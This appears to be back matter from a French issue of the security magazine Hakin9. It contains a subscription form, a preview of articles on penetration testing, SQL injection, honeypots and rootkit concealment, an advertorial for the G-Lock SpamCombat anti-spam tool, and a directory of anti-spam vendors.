Hors-série du magazine Software 2.0
Linux+DVD
Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs
Collection Linux+ Distributions
Distributions Linux les plus
populaires (de 4 à 7 CDs joints au chaque magazine)
Hakin9 – comment se défendre ?
Bimestriel destiné aux personnes qui s’intéressent à la sécurité des
systèmes informatiques
Je règle par :
¨
Carte bancaire n° CB
¨
type de carte ..........................................................................
¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183
90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
expire le
date et signature obligatoires
Dans le prochain numéro :
Tests de
pénétration
extérieur
Les tests de pénétration locaux
ne disent pas toujours toute la
vérité sur le niveau de sécurité
du réseau entier – les intrus,
pour s’introduire dans un réseau,
utilisent le plus souvent les
connexions distantes. Les tests
de pénétration extérieurs permettent d’estimer les menaces
réelles. Dans son article, Rudra
Kamal Sinha Roy raconte comment analyser le site Web de
notre propre réseau.
Attaques SQL
Injection
SQL Injection est une technique d’attaque contre les bases
de données très populaire.
Bien qu’elle soit très connue,
les crackers l’utilisent toujours
avec succès. Tobias Glemser
explique comment employer
cette technique d’attaque, comment s’y défendre et que peut
faire l’intrus pour contourner
magic_quotes.
Honeypots – un
leurre aux vers
La lutte contre les vers réseau est
le cauchemar de chaque administrateur d’un grand réseau. Cette
tâche fastidieuse peut être améliorée grâce aux honeypots – des
leurres virtuels simulant le fonctionnement de vrais systèmes.
Michał Piotrowski, sur l’exemple
de Sasser et Blaster, présentera
les techniques de désactivation
des vers.
Sécurité physique
des systèmes
informatiques
Même les pare-feux les plus
parfaits ne suffisent pas pour
garder notre infrastructure loin de
la portée des intrus. On dit que
le système sûr est celui qui est
débranché. Est-ce vraiment si difficile ? Comment assurer la sécurité
physique de nos systèmes ? L’article de Jeremy Martin permettra de
répondre à ces questions.
Méthodes de
dissimulation des
rootkits
Placer un rootkit dans un système
n’est pas encore un succès. Un
administrateur expérimenté se rendra vite compte de la présence
du code indésirable. L’intrus, pour
dissimuler ses actions, doit effectuer beaucoup de travail. Mariusz
Burdach présentera les techniques
les plus efficaces de dissimulation
de la présence des rootkits.
Sur le CD
•
•
•
•
hakin9.live – la distribution
bootable de Linux,
beaucoup d’outils – une boîte
à outils de chaque hacker,
les tutoriaux – les exercices
pratiques concernant les
questions abordées dans les
articles,
une documentation supplémentaire.
Les informations
actuelles sur le numéro
à venir
– http://www.hakin9.org
Le numéro disponible
à la vente depuis la fin
du mois d’avril 2005.
La rédaction se réserve le droit de
changer le contenu du magazine.
Vous trouverez les informations les plus
récentes sur le marché des logiciels
dans les
Catalogues de hakin9
Sujets des catalogues contenant des articles publicitaires pour le
magazine hakin9,
année 2005 :
N°
Sujets du catalogue
3/2005
1. Logiciels anti-virus pour les stations client et serveurs
4/2005
1. Systèmes IDS et IPS (pour détecter les intrusions et protéger
contre celles-ci)
2. Scanners de sécurité et outils de tests de pénétration
3. Services d’audits de sécurité
5/2005
1. Pare-feux matériels et logiciels
2. Systèmes VPN matériels et logiciels
3. Services de conception et de contrôle des pare-feux
6/2005
1. Matériel réseau (dispositifs actifs et passifs, éléments du
réseau)
2. Logiciels de gestion de système informatique de l’entreprise
3. Services de conception et de réalisation des réseaux
informatiques sûrs
1/2006
1. Systèmes de stockage de données sûrs
2. Logiciels de gestion de stockage et récupération de données
3. Récupération de données du matériel abîmé et suppresion de
données sûre
2/2006
1. Cryptage de données : logiciels pour les stations client
et serveurs
2. Matériel de cryptage
3. Systèmes PKI, autorités de certification
Chaque numéro présente des sujets différents.
Le catalogue contient les présentations des entreprises et leurs coordonnées.
Chef du projet : Szymon Kierzkowski tél : +48 22 860 18 92 e-mail : [email protected]
G-Lock Software
ARRÊTER LE COURRIER NON SOLLICITÉ ET LES VIRUS AVANT QU'ILS
GAGNENT VOTRE BOÎTE DE RÉCEPTION
G-Lock SpamCombat est le logiciel anti-spam
le plus populaire et le plus efficace publié par un
éditeur de logiciels indépendant. Non sans raison,
en effet Alexa met le site WWW.glocksoft.com sur
la liste des 100000 pages les plus populaires sur
le réseau et le moteur de recherche Google affiche
plus de 17000 résultats concernant G-Lock SpamCombat, c'est-à-dire trois fois plus que les résultats
trouvés pour les « grandes » solutions commerciales de ce type. La raison de cette popularité est que
G-Lock SpamCombat est capable d'arrêter 99,5% du
spam et des virus avant qu'ils gagnent la boîte de
réception. En pratique, le logiciel ne télécharge pas
le courrier non sollicité mais il le supprime directement à partir du serveur. Pour atteindre ce niveau
d'efficacité et de précision, G-Lock SpamCombat
emploie tous les moyens de lutte connus contre le
spam – la liste noire et la liste blanche, les filtres de
Bayes et les nouvelles méthodes – les validateurs
HTML et les filtres DNSBL.
La liste noire et la liste blanche sont des solutions très répandues mais passives, c'est la raison
pour laquelle elles ne sont pas capables de vous
protéger contre les attaques de virus et du spam
venant des adresses e-mail inconnues. Par contre,
le validateur HTML et les filtres DNSBL sont capables de remplir cette tâche. Le premier des outils cités permet de vérifier le contenu du message HTML
suspect sans télécharger les images et sans lancer
les scripts cachés. Le second est le filtre DNSBL qui
a pour rôle de comparer l'adresse de l'expéditeur
du message avec la liste des logiciels de spam
Information : Page d'éditeur :
http://www.glocksoft.com/
Page de produit :
http://www.glocksoft.com/sc/
index.htm
Source de téléchargement :
http://mirror1.glocksoft.com/
spamcombat.zip
78
connus. Cette technique s'avère être très efficace
notamment dans la lutte contre les logiciels de
spam tentant d'utiliser les adresses de retour des
sociétés de haute renommée.
On appelle le filtre de Bayes, un mécanisme
compliqué d'analyse mathématique permettant
d'analyser le contenu du message basé sur la capacité d'auto-apprentissage. L'algorithme analyse
les messages désignés par l'utilisateur comme
« bons » ou comme « mauvais », puis il est capable d'analyser un nouveau message inconnu et de
déterminer son caractère avec 99.55% d'efficacité.
Contrairement aux autres solutions anti-spam,
G-Lock SpamCombat ne confondra jamais le message HTML opt-in (opt-in HTML newsletter) avec les
messages de publicité de Viagra.
Tout ce que nous avons pu observer sur le logiciel SpamCombat prouve que celui-ci est configurable minutieusement. La plupart des fenêtres
peuvent être déplacées, masquées, affichées,
fixées en dur, masquées automatiquement ou
attachées – tout ceci ne dépend que de la volonté
de l'utilisateur. Il en est de même pour les barres
d'outils que vous pouvez déplacer et attacher
dans les endroits quelconques. L'apparence de
l'application elle-même peut être également
complètement modifiée grâce au changement de
couleurs et de style des barres d'outils. L'indépendance par rapport à un logiciel de messagerie
est un autre avantage de G-Lock SpamCombat.
Comme il supporte les protocoles POP3 et IMAP,
il peut être configuré pour travailler avec des services Web populaires, tels que Hotmail ou Yahoo.
Les utilisateurs d'AOL peuvent également utiliser
cette application. En outre, G-Lock SpamCombat
utilise une licence non standardisée. L'enregistrement coûte 35 dollars US. La version de
démonstration supportant seulement un compte
courrier, mais doté de toutes les fonctionnalités
et sans limitations temporelles est également
disponible. Cela veut dire que les utilisateurs d'un
compte courrier unique peuvent profiter entièrement et gratuitement de cet outil puissant.
Traits caractéristiques et avantages de G-Lock
SpamCombat :
•
•
Auto-apprentissage. SpamCombat apprend
des règles en fonction des spams reçus et des
messages qualifiés comme bons. Grâce à cela,
il vous offre une précision et une efficacité
hors du commun dans la lutte contre le spam.
Suppression des messages avant qu'ils
soient téléchargés dans la boîte de réception.
•
•
•
•
•
De façon sûre, vous pouvez avoir un aperçu du
contenu du message afin de décider de le supprimer ou non. Cette méthode est excellente
pour combattre les virus, les logiciels espions
et les pièces jointes de grande taille.
Liste blanche. Vous y ajoutez les sources des
messages attendus. Grâce à cela, tous les messages venant de ces adresses seront désignés
comme « bons ».
Liste noire. La liste noire du logiciel SpamCombat vous donne la possibilité d'arrêter de façon
efficace les types de virus les plus populaires
ainsi que le spam. Il est également possible
d'ajouter à cette liste vos propres positions.
Filtrage. Possibilité de filtrer simultanément
le courrier venant de plusieurs comptes et de
supprimer automatiquement le spam de telle
manière à ce que le courrier non sollicité ne
soit pas aperçu.
Mode automatique. Possibilité de vérifier
l'arrivée de nouveaux messages aux heures
spécifiées.
Récupération des messages e-mail. Si vous avez
supprimé par maladresse un message qui soit
sans mauvaises intentions, G-Lock SpamCombat
vous permet de le récupérer depuis la corbeille et
de le recevoir via un client de messagerie.
•
•
Statistiques. Les statistiques concernant les
messages analysés sont affichées sous forme
de tables et de diagrammes.
Interface utilisateur conviviale et configurable.
Vous pouvez modifier librement le menu, les
barres d'outils, les tables et les aperçus de
•
•
•
messages. Ajouter ou supprimer des boutons,
des positions du menu et des barres d'outils.
Ajouter et supprimer les colonnes dans les
tables ou choisir un format de message dans
l'aperçu.
Facilité d'usage. Malgré une interface abondante, SpamCombat est simple d'usage et il ne requiert pas de savoir-faire informatique avancé.
Votre tâche est de vérifier le courrier, désigner
les messages non sollicités à supprimer et ce
qui va donc permettre à SpamCombat de les
supprimer du serveur.
Économie. Vous économisez sur les coûts de
connexion Internet en limitant le transfert des
messages non sollicités.
Options supplémentaires. Le logiciel peut
marcher après être inséré dans la zone de
notification. Il reproduit un son ou affiche un
message à chaque fois qu'un nouveau message est arrivé. La documentation complète
y est jointe.
Exigences matérielles :
• Système d'exploitation : Windows 95, 98,
2000, ME, NT ou XP
• 128 Mo de mémoire RAM
• Disque dur : 5 Mo
79
Les sociétés qui offrent les solutions
anti-spam
N°
Nom de la société ou nom du produit
URL
N°
Nom de la société ou nom du produit
URL
1
7tec
http://www.7tec.com/
49
MailSanctity
http://www.mailsanctity.com/
2
Alladin Knowledge Systems
http://www.esafe.com/
50
Mailshell
http://www.mailshell.com/
3
Anti-spam
http://www.anti-spam-software.com/
51
Mcafee
http://www.mcafee.com/
4
Avantec
http://www.avantec.ch/
52
NoticeBored
http://www.noticebored.com/
5
Barracudanetworks
http://www.barracudanetworks.com/
53
Omniquad
http://www.omniquad.com/
6
Bitpipe
http://www.bitpipe.com/
54
Open Field Software
http://www.openfieldsoftware.com/
7
Blue Squirrel
http://www.bluesquirrel.com/
55
Openprotect
http://www.openprotect.com/
8
Brigsoft
http://www.brigsoft.com/
56
Outblaze
http://www.outblaze.com/
9
Byteplant
http://www.byteplant.com/
57
Panicware
http://www.panicware.com/
10
Chrysanth
http://www.chrysanth.com/
58
PC Tools
http://www.pctools.com/
11
Cleanmail
http://www.cleanmail.ch/
59
Pingram Merketing
http://www.spamliquidator.com/
12
Cloudmark
http://www.cloudmark.com/
60
PopupKiller
http://www.popup-killer.info/
13
Code-Builders
http://www.code-builders.com/
61
Proland Software
http://www.pspl.com/
14
Cofeecup
http://www.cofeecup.com/
62
Proofpoint
http://www.proofpoint.com/
15
Contact Plus Corporation
http://www.contactplus.com/
63
Qurb
http://www.qurb.com/
16
ContentWatch
http://www.contentwatch.com/
64
Rainbow Innowations
http://www.rainbow-innov.co.uk/
17
Daedalus Software
http://www.daesoft.com/
65
RegNow
http://www.regnow.com/
18
Dair Computer Systems
http://www.spamai.com/
66
Rhino Software
http://www.zaep.com/
19
Declude
http://www.declude.com/
67
Roaring Penguin Software
http://www.roaringpenguin.com/
20
DigiPortal Software
http://www.digiportal.com/
68
Sentrybay
http://www.viralock.com/
21
Dignity Software
http://www.dignitysoftware.com/
69
Sinbad Network Communications
http://www.knockmail.com/
22
eAccelerationCorp
http://www.stop-sign.com/
70
SoftLogica
http://www.outlook-spam-filter.com/
23
Email Remover
http://www.email-remover.com/
71
Sophos
http://www.sophos.com/
24
Emailman
http://www.emailman.com/
72
Spam Software
http://www.spamsoftware.net/
25
Exclaimer
http://www.exclaimer.com/
73
Spam Sorter
http://www.spamsorter.com/
26
Firetrust Limited
http://www.firetrust.com/
74
Spam Weed
http://www.spamweed.com/
27
Futuresoft
http://www.dciseries.com/
75
Spamagogo
http://www.spamagogo.com/
28
G-Lock Software
http://www.glocksoft.com/
76
Spambat
http://www.spambat.com/
29
Gfi
http://www.gfi.com/
77
Spambully
http://www.spambully.com/
30
Giant Company
http://www.giantcompany.com/
78
Spambutcher
http://www.spambutcher.com/
31
Gilmore Software Development
http://www.spamcounterstrike.com/
79
SpamChoke Antispam Software
32
Grr-spam
http://www.grr-spam.com/
http://www.spamchoke-antispam-software.com/
33
Heidi Computers Limited
http://www.heidi.ie/
80
SpamFighter
http://www.spamfighter.com/
81
Spamhippo
http://www.spamhippo.com/
82
Spamlook Technologies
http://www.spamlook.com/
83
Spamsolver
http://www.spamsolver.com/
84
Spin Interworking
http://www.spin.it/
85
Spytech Software and Design
http://www.spam-agent.com/
86
Srimax Software Technology
http://www.srimax.com/
87
StompSoft
http://www.stompsoft.com/
88
Sunbelt Software
http://www.sunbelt-software.com/
89
Symantec
http://www.symantec.com/
90
Trimmail
http://www.trimmail.com/
91
Vamsoft
http://www.vamsoft.com/
92
Vanquish
http://www.vanquish.com/
93
Vicomsoft
http://www.vicomsoft.com/
94
Webroot Software
http://www.webroot.com/
95
Whatlink Software Limited
http://www.whatlink.com/
34
Hexamail
http://www.hexamail.com/
35
High Mountain Software
http://www.hms.com/
36
Inboxer
http://www.inboxer.com/
37
Intermute
http://www.intermute.com/
38
Internet Software Marketing
http://www.isoftmarketing.com/
39
IOK InterNetworking Services
http://www.iok.de/
40
ITIC
http://www.itc.com/
41
Kerio
http://www.kerio.com/
42
Lanservice
http://www.lanservice.pl/
43
Lescasse Consulting
http://www.lescasse.com/
44
LogSat Software
http://www.logsat.com/
45
Mail Zapper
http://www.mailzapper.com/
46
Mailfender
http://www.mailfender.com/
47
Mail Frontier
http://www.mailfrontier.com/
48
Maillaunder
http://www.maillaunder.com/
rit
1
www.psdmag.org
Déjà en vente !
GRATUIT !!!
Cours d’édition
de photos numériques sur le CD
www.psdmag.org